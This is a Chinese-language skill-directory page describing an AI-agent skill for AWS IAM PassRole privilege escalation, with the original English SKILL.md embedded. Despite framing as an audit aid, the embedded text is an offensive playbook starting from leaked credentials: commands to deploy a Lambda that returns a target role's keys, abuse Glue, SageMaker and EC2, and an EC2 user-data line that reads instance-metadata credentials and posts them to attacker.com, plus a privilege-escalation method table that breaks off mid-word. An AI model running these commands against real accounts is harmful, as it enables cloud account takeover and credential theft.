跳到正文
Skillpedia
安全6.5k · #13985

aws-iam-passrole-chain

它能做什么

这项技能说明 PassRole 权限和角色假定如何在 AWS 中导致更高的访问权限。适合审查自己所管理账户中 IAM 设置的云审计人员和管理员。

适用场景

  • ✓当审计人员要求智能体找出哪些用户可以把更强的角色传递给 Lambda 或 EC2 等服务时。
  • ✓当智能体检查允许跨账户假定角色的角色信任策略时。
  • ✓当报告需要说明 PassRole 授权如何让用户获得超出其应有范围的访问权时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“在我们已获授权的 AWS 账户中,我们的测试用户能否把强大的角色传递给 Lambda 或 EC2?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体读取 PassRole 权限的策略,列出它们可以传递的角色,并检查哪些服务随后可以使用这些角色运行。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu — enum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

Method Required permission
CreateNewPolicyVersion iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey on a higher-priv user
CreateLoginProfile iam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfile iam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicy iam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy — inline policy bypass
AddUserToGroup iam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambda iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint as above for Glue
EditExistingLambdaFunctionWithRole lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation iam:PassRole + cloudformation:CreateStack
`PassExistingRoleToNewDataP
常见问题

什么是 iam:PassRole?

它是一项权限,允许用户把某个角色交给 AWS 服务,使该服务能以该角色的访问权限运行。

为什么它有风险?

该技能指出,能把强角色交给服务的用户,可能间接获得该角色的访问权限。

该技能只关注攻击吗?

不是。它是为授权审查编写的,主要用途是找出并撤销过于宽泛的授权。

详情

作者的原始描述

AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13985
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能